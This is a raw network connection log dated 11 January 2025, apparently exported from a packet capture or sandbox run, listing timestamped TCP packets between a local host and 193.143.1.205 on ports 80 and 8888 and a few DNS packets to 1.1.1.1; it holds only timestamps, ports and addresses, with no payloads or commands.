Jan 11, 2025 06:59:24.231724977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.232435942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232464075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232513905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.232517004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232553005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232585907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232615948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.232642889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232676029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232701063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.232711077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232743025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232777119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.232825994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232860088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232887983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.232892990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.232949972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.262437105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262460947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262478113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262489080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262501955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262517929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262530088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262538910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262552023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262562990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262639046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.262639046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.262639046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.262734890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262744904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262756109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262806892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.262844086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262852907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262864113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262887001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.262916088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.262950897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262960911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.262996912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.263156891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263165951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263175964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263206959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.263298988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263309002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263325930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263345003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.263374090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.263380051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263390064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263400078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263416052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263432980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.263467073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.263489962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263506889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263516903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263526917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263559103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.263587952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.263946056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263956070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.263962030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264017105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264136076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264146090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264156103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264167070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264178038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264187098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264188051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264198065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264208078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264218092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264218092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264244080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264262915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264262915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264273882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264285088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264312983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264786959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264796972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264808893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264827013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264836073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264837980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264847994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264858961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264867067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264888048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264923096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.264935970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264945984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.264983892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.267608881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.267620087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.267633915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.267644882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.267654896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.267657995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.267664909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.267682076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.267700911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.267714024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.268619061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.288007021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.288059950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.288086891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.288094997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.288129091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.288145065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.288163900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.288197041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.288230896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.288239002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.288264036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.288273096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.288297892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.288345098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.318330050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.318356037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.318367958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.318377972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.318388939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.318397999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.318408012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.318473101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.318669081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.319168091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319180012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319195986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319207907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319216013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.319220066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319230080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319236040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.319271088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.319298029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319307089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319333076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319339037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.319343090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319353104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319374084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.319396019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.319453001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319473028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319480896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319490910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.319509029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.319541931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349131107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349145889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349164009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349174976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349189043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349221945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349232912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349241018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349250078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349260092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349258900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349258900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349258900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349270105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349280119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349287987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349291086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349302053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349314928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349339962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349344969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349354982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349364042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349385023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349395037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349404097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349414110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349441051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349459887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349495888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349513054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349528074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349539995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349550009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349550009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349580050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349632025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349642038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349653006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349661112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349673033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349710941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349791050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349802017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349812031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349833965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349852085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349860907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349862099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349874020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349884987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349900961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349917889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349922895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.349926949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349936008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.349955082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350128889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350152969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350158930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350159883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350163937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350171089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350173950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350187063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350197077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350227118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350328922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350337029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350353003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350363016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350370884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350392103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350402117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350403070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350413084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350424051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350431919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350466013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350523949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350538015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350538969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350548029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350548983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350552082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350581884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350606918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350689888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350696087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350702047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350706100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350709915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350742102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350894928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350905895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350939989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.350943089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350958109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350967884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350977898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.350981951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.351011038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.351097107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.351105928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.351116896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.351130009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.351154089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.355124950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.374754906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374778986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374789953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374798059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374810934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374816895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.374820948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374830961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374834061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.374835968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374861002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374871016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.374876976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374886990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.374911070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.404880047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.404901981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.404912949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.404922009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.404932022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.404938936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.404942989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.404962063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.405009985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.405139923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.405184031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.405909061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.405927896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.405939102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.405950069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.405961990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.405975103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.405985117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.405986071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.405996084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.406004906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.406044960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.406171083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.406181097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.406191111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.406199932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.406210899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.406218052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.406220913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.406233072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.406255007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.406280994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.435898066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.435915947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.435928106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.435969114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.436014891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.436027050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.436037064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.436041117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.436048985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.436059952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.436069965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.436073065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.436081886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:24.436098099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.436124086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:24.513212919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:25.370858908 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:25.376051903 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:25.376158953 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:25.377196074 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:25.382026911 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:26.160962105 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:26.204085112 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:26.503258944 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:39.280201912 CET	63302	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:59:39.285191059 CET	53	63302	1.1.1.1	192.168.2.4
Jan 11, 2025 06:59:39.285280943 CET	63302	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:59:39.290133953 CET	53	63302	1.1.1.1	192.168.2.4
